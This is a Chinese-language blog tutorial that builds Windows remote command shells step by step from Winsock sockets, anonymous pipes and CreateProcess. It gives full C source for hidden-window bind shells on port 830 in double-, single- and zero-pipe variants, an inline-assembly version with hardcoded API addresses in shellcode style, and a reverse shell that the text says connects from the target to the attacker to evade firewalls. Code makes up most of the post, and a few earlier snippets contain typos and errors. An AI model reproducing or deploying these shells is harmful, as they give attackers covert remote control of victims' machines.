知識碎片之使用Win32 編寫shell

socket編程

服務器端代碼如下:

#include<string.h>
#include<stdio.h>
#include<winsock2.h>
#pragma comment(lib,"Ws2_32.lib")  //鏈接Ws2_32.lib
int main(){
	WSADATA ws;
	SOCKET listenFD;
	char Buff[1024];
	int ret;
	WSAStartup(MAKEWORD(2,2),&ws); //MAKEWORD(2,2)用於指定winsock版本,這裏使用的是2.2版本
	listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //AF_INET 指定協議類型爲Internet協議,SOCK_STREAM 指定套接字類型爲流套接字  IPPROTO_TCP指定TCP傳輸層協議
	struct sockaddr_in server;
	server.sin_addr.s_addr = ADDR_ANY;
	server.sin_port=htons(830);
	server.sin_family = AF_INET;
	ret = bind(listenFD,(sockaddr *)&server,sizeof(server));
	ret = listen(listenFD,4);
	while(1){
		int iAddrSize = sizeof(server);
		SOCKET  clientFD = accept(listenFD,(sockaddr *)&server,&iAddrSize);
		char * msg = "Hello! Just Test";
		send(clientFD,msg,sizeof(msg),0);
		colsesocket(clientFD);
	}
	closesocket(listenFD);
	return 0;
}

客戶端:

#include<string.h>
#include<stdio.h>
#include<winsock2.h>
#pragma comment(lib,"Ws2_32.lib")  //鏈接Ws2_32.lib

#define PORT 830
#define MAXDATASIZE 100

int main(int argc,char * argv[]){
	int numbytes;
	char Buff[MAXDATASIZE];

	WSADATA ws;
	WSAStartup(MAKEWORD(2,2),&ws); 
	SOCKET sockfd = socket(AF_INET,SOCK_STREAM,0); //最後一個參數爲0時表示不指定協議,客戶端更具服務端動態選擇協議使用。
	
	struct sockaddr_in server;
	server.sin_addr.s_addr = inet_addr(argv[1]);
	server.sin_port=htons(PORT);
	server.sin_family = AF_INET;
	if(connect(sockfd,(struct sockaddr *)&server,sizeof(struct server)) != -1){
		if((numbytes=recv(sockfd,buf,MAXDATASIZE,0))!=-1){
			buf[numbytes]='\0';
			printf("%s",buf);
		}
	}
	closesocket(sockfd);
	return 0;
}

PIPE的使用

共享條件:

  • 進程之間是子父進程關係
  • 子進程繼承父進程
  • PIPE管道允許被繼承
/*
BOOL CreatePipe(
  PHANDLE               hReadPipe,           //PIPE管道讀取數據句柄,通過ReadFile函數可以從此句柄讀取數據
  PHANDLE               hWritePipe,         //PIPE管道寫入數據句柄,通過WriteFile函數可以向此句柄中寫入數據
  LPSECURITY_ATTRIBUTES lpPipeAttributes,  //指定PIPE管道的安全屬性,通過此結構可以設置PIPE管道是否允許子進程繼承
  DWORD                 nSize             //PIPE管道大小(字節單位),設置爲0則爲使用系統默認緩存尺寸
);


typedef struct _SECURITY_ATTRIBUTES {
  DWORD  nLength;                        //本結構體大小
  LPVOID lpSecurityDescriptor;           //指向SECURITY_DESCRIPTOR結構的指針,爲NULL時表示使用默認安全描述符
  BOOL   bInheritHandle;                //指定是否允許子進程繼承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
*/
SECURITY_ATTRIBUTES pipeattr;
HANDLE hReadPipe,hWritePipe;
pipeattr.nLength=12;
pipeattr.lpSecurityDescriptor=0;
pipeattr.bInheritHandle = true;
CreatePipe(&hReadPipe,&hWritePipe,&pipeattr,0);

創建子進程

/*BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,  //要執行的命令行
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles, //是否繼承父進程
  DWORD                 dwCreationFlags, //進程創建標誌,通常設置爲0
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo, //用於設置啓動信息
  LPPROCESS_INFORMATION lpProcessInformation  //用戶獲取子進程句柄或者子進程ID
);
*/
#include<windows.h>
int main(){
	PROCESS_INFORMATION ProcessInformation;
	STARTUPINFO si;
	ZeroMemory(&si,sizeof(si));
	CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
	return 0;
}

SHELL

通過組合上述3部分知識可以構造如下shell

雙管道版本:

#include<string.h>
#include<stdio.h>
#include<winsock2.h>
#pragma comment(lib,"Ws2_32")
int main(){
	WSADATA ws;
	SOCKET listenFD;
	char Buff[1024];
	int ret;

	WSAStartup(MAKEWORD(2,2),&ws);
	listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	struct sockaddr_in server;
	server.sin_addr.s_addr = ADDR_ANY;
	server.sin_port=htons(830);
	server.sin_family = AF_INET;
	ret = bind(listenFD,(sockaddr *)&server,sizeof(server));
	ret = listen(listenFD,2);
	int iAddrSize = sizeof(server);
	SOCKET  clientFD = accept(listenFD,(sockaddr *)&server,&iAddrSize);

	SECURITY_ATTRIBUTES pipeattr1,pipeattr2;
	HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
	pipeattr1.nLength=12;
	pipeattr1.lpSecurityDescriptor=0;
	pipeattr1.bInheritHandle = true;
	CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
	pipeattr2.nLength=12;
	pipeattr2.lpSecurityDescriptor=0;
	pipeattr2.bInheritHandle = true;
	CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
	STARTUPINFO si;
	ZeroMemory(&si,sizeof(si));
	si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
	si.wShowWindow = SW_HIDE;
	si.hStdInput = hReadPipe2;
	si.hStdError = si.hStdOutput = hWritePipe1;
	PROCESS_INFORMATION ProcessInformation;
	ret = CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
	unsigned long lBytesRead;
	while(1){
		ret = PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0); //用於檢測PIPE是否有數據可供讀取,不會改變PIPE管道中的內容,不會阻塞。
		if(lBytesRead){
			ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
			if(!ret) break;
			ret = send(clientFD,Buff,lBytesRead,0);
			if(ret<=0) break;
		}else{
			lBytesRead = recv(clientFD,Buff,1024,0);
			if(lBytesRead<=0) break;
			ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
			if(!ret) break;
		}
		
	}
	return 0;
}

對應的彙編語言版本(多進程,多線程要考慮異步問題,所以在下述代碼的關鍵位置添加了時間延遲以等待子進程運行完畢):

int main(){
	__asm{
		//LoadLibarary("ws2_32")
		push ebp;
		mov ebp,esp;
		mov eax,0x00003233;
		push eax;
		mov eax,0x5f327377;
		push eax;
		push esp;
		mov eax,0x7c801d7b;
		call eax;
		sub esp,8;
		//HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
		mov [ebp-4],0x0;   hReadPipe1 => [ebp-4]
		mov [ebp-8],0x0;   hWritePipe1 => [ebp-8]
		mov [ebp-12],0x0;  hReadPipe2 => [ebp-12]
		mov [ebp-16],0x0;  hWritePipe2 => [ebp-16]
		//WSAStartup(MAKEWORD(2,2),&ws), the size of "WSADATA" is 400
		sub esp,400;
		push esp;
		push 0x202;
		mov edx,0x71a26a55; the address of WSAStartup is 0x71a26a55
		call edx;
		// listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
		push 6;
		push 1;
		push 2;
		mov edx,0x71a24211; the address of socket is 0x71a24211
		call edx;
		mov ebx,eax;        listenFD => ebx
		/*
		struct sockaddr_in server;
		server.sin_addr.s_addr = ADDR_ANY;
		server.sin_port=htons(830);
		server.sin_family = AF_INET;
		*/
		xor edi,edi;
		push edi;
		push edi;
		push edi;
		mov eax,0x3E030002;
		push eax;
		mov edi,esp;
		//ret = bind(listenFD,(sockaddr *)&server,sizeof(server));
		push 0x10;
		push edi;
		push ebx;
		mov edx,0x71a24480; the address of bind is 0x71a24480
		call edx;
		//ret = listen(listenFD,2);
		mov eax,2;
		push eax;
		push ebx;
		mov edx,0x71a28cd3; the address of listen is 0x71a28cd3
		call edx;
		//int iAddrSize = sizeof(server);
		mov eax,0x10;
		//SOCKET  clientFD = accept(listenFD,(sockaddr *)&server,&iAddrSize);
		push eax;
		push esp;
		push edi;
		push ebx;
		mov edx,0x71a31040; the address of accept is 0x71a31040
		call edx;
		mov ebx,eax; clientFD => ebx
		/*
		SECURITY_ATTRIBUTES pipeattr1,pipeattr2;
		pipeattr1.nLength=12;
		pipeattr1.lpSecurityDescriptor=0;
		pipeattr1.bInheritHandle = true;
		*/
		xor edi,edi;
		inc edi;
		push edi;
		xor edi,edi;
		push edi;
		mov eax,0xc;
		push eax;
		mov esi,esp;  pipeattr1=pipeattr2 => esi
		//CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
		push edi;
		push esi;
		lea eax,[ebp-8];
		push eax;
		lea eax,[ebp-4];
		push eax;
		mov edx,0x7c81d83f; the address of CreatePipe is 0x7c81d83f
		call edx;
		//CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
		push edi;
		push esi;
		lea eax,[ebp-16];
		push eax;
		lea eax,[ebp-12];
		push eax;
		mov edx,0x7c81d83f; the address of CreatePipe is 0x7c81d83f
		call edx;
		//STARTUPINFO si;
		sub esp,68;
		//ZeroMemory(&si,sizeof(si));
		mov edi,esp;  si => edi
		xor eax,eax;
		mov ecx,17;
		rep stos dword ptr es:[edi];
		/*
		si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
		si.wShowWindow = SW_HIDE;
		si.hStdInput = hReadPipe2;
		si.hStdError = si.hStdOutput = hWritePipe1;
		*/
		mov edi,esp;
		mov eax,0x0101;
		mov [edi+0x2c],eax;
		mov eax,[ebp-12];
		mov [edi+0x38],eax;
		mov eax,[ebp-8];
		mov [edi+0x3c],eax;
		mov [edi+0x40],eax;
		//PROCESS_INFORMATION ProcessInformation;
		sub esp,16;
		mov esi,esp;   ProcessInformation => esi
		//ret = CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
		mov eax,0x00646d63; 
		push eax;
		mov eax,esp;    cmd => eax
		push esi;
		push edi;
		push ecx;
		push ecx;
		push ecx;
		inc ecx;
		push ecx;
		dec ecx;
		push ecx;
		push ecx;
		push eax;
		push ecx;
		mov edx,0x7c80236b; the address of CreateProcessA is 0x7c80236b
		call edx;
		//char Buff[1024];
		sub esp,0x400;
		mov edi,esp;  Buff => edi
		//unsigned long lBytesRead;
		mov eax,0;
		push eax;
		mov esi,esp;  lBytesRead => esi
		//	while(1){
loop1:
		//sleep 1000ms
		mov eax,200;
		push eax;
		mov edx,0x7c802446; the address of sleep is 0x7c802446
		call edx;
		//ret = PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
		push 0;
		push 0;
		push esi;
		mov eax,1024;
		push eax;
		push edi;
		mov eax,[ebp-4];
		push eax;
		mov edx,0x7c860977; the address of PeekNamedPipe is 0x7c860977
		call edx;
		//if(lBytesRead){
		mov eax,[esi];
		test eax,eax;
		jz recv_command;
		//ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
		push 0;
		push esi;
		mov eax,[esi];
		push eax;
		push edi;
		mov eax,[ebp-4];
		push eax;
		mov edx,0x7c801812; the address of ReadFile is 0x7c801812
		call edx;		
		//ret = send(clientFD,Buff,lBytesRead,0);
		push 0;
		mov eax,[esi];
		push eax;
		push edi;
		push ebx;
		mov edx,0x71a24c27; the address of send is 0x71a24c27
		call edx;
		jmp loop1;
		//else{
recv_command:
		//lBytesRead = recv(clientFD,Buff,1024,0);
		push 0;
		mov eax,1024;
		push eax;
		push edi;
		push ebx;
		mov edx,0x71a2676f; the address of recv is 0x71a2676f
		call edx;
		mov [esi],eax;
		//ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
		push 0;
		push esi;
		push eax;
		push edi;
		mov eax,[ebp-16];
		push eax;
		mov edx,0x7c810e27; the address of WriteFile is 0x7c810e27
		call edx;
		jmp loop1;


		mov esp,ebp;
		pop ebp;
	}
	return 0;
}

單管道版本:

#include<string.h>
#include<stdio.h>
#include<winsock2.h>
#include<string.h>
#pragma comment(lib,"Ws2_32")
int main(){

	WSADATA ws;
	SOCKET listenFD;
	char Buff[1024];
	int ret; 

	WSAStartup(MAKEWORD(2,2),&ws);
	listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	struct sockaddr_in server;
	server.sin_addr.s_addr = ADDR_ANY;
	server.sin_port=htons(830);
	server.sin_family = AF_INET;
	ret = bind(listenFD,(sockaddr *)&server,sizeof(server));
	ret = listen(listenFD,2);
	int iAddrSize = sizeof(server);
	SOCKET  clientFD = accept(listenFD,(sockaddr *)&server,&iAddrSize);

	SECURITY_ATTRIBUTES pipeattr;
	HANDLE hReadPipe,hWritePipe;
	pipeattr.nLength=12;
	pipeattr.lpSecurityDescriptor=0;
	pipeattr.bInheritHandle = true;
	CreatePipe(&hReadPipe,&hWritePipe,&pipeattr,0);

	STARTUPINFO si;
	ZeroMemory(&si,sizeof(si));
	si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
	si.wShowWindow = SW_HIDE;
	si.hStdError = si.hStdOutput = hWritePipe;
	PROCESS_INFORMATION ProcessInformation;
	unsigned long lBytesRead;
	while(1){
		char cmd[200] = "cmd.exe /c";
		ret = PeekNamedPipe(hReadPipe,Buff,1024,&lBytesRead,0,0); //用於檢測PIPE是否有數據可供讀取,不會改變PIPE管道中的內容,不會阻塞。
		if(lBytesRead){
			ret = ReadFile(hReadPipe,Buff,lBytesRead,&lBytesRead,0);
			if(!ret) break;
			ret = send(clientFD,Buff,lBytesRead,0);
			if(ret<=0) break;
		}else{
			lBytesRead = recv(clientFD,Buff,1024,0);
			if(lBytesRead<=0) break;
			ret = CreateProcess(NULL,strncat(cmd,Buff,lBytesRead ),NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
			if(!ret) break;
		}
	}
	return 0;
}

零管道版本

相對好用些,所謂零管道就是沒有使用PIPE而是直接將socket句柄重定向到子進程的輸入,輸出及錯誤輸出。而子進程是非重疊IO(重疊IO又名異步IO)支持的對象所以這裏需要使用WSAScoket生成非重疊IO屬性的socket。

#include<string.h>
#include<stdio.h>
#include<winsock2.h>
#include<stdio.h>
#pragma comment(lib,"Ws2_32")
int main(){
	WSADATA ws;
	SOCKET listenFD;
	int ret; 

	WSAStartup(MAKEWORD(2,2),&ws);
	listenFD = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
	struct sockaddr_in server;
	server.sin_addr.s_addr = ADDR_ANY;
	server.sin_port=htons(830);
	server.sin_family = AF_INET;
	ret = bind(listenFD,(sockaddr *)&server,sizeof(server));
	ret = listen(listenFD,2);
	int iAddrSize = sizeof(server);
	SOCKET  clientFD = accept(listenFD,(sockaddr *)&server,&iAddrSize);

	STARTUPINFO si;
	ZeroMemory(&si,sizeof(si));
	si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
	si.wShowWindow = SW_HIDE;
	si.hStdInput=si.hStdError = si.hStdOutput = (void *)clientFD;
	PROCESS_INFORMATION ProcessInformation;
	ret = CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
	return 0;
}

反向零管道版本

用於由目標機器向外連接攻擊主機以避開防火牆的檢測

#include<string.h>
#include<stdio.h>
#include<winsock2.h>
#include<stdio.h>
#pragma comment(lib,"Ws2_32")
int main(int argc,char* argv[]){
	if(argc < 3){
		printf("Two Args are required!\n");
		return 0;
	}

	char * IP = argv[1];
	int Port = atoi(argv[2]);
	WSADATA ws;
	int ret; 

	WSAStartup(MAKEWORD(2,2),&ws);
	SOCKET FD = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
	struct sockaddr_in server;
	server.sin_addr.s_addr = inet_addr(IP);
	server.sin_port=htons(Port);
	server.sin_family = AF_INET;
	int iAddrSize = sizeof(server);
	ret = connect(FD,(sockaddr *)&server,iAddrSize);
	printf("%d",ret);
	STARTUPINFO si;
	ZeroMemory(&si,sizeof(si));
	si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
	si.wShowWindow = SW_HIDE;
	si.hStdInput=si.hStdError = si.hStdOutput = (void *)FD;
	PROCESS_INFORMATION ProcessInformation;
	ret = CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
	return 0;
}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章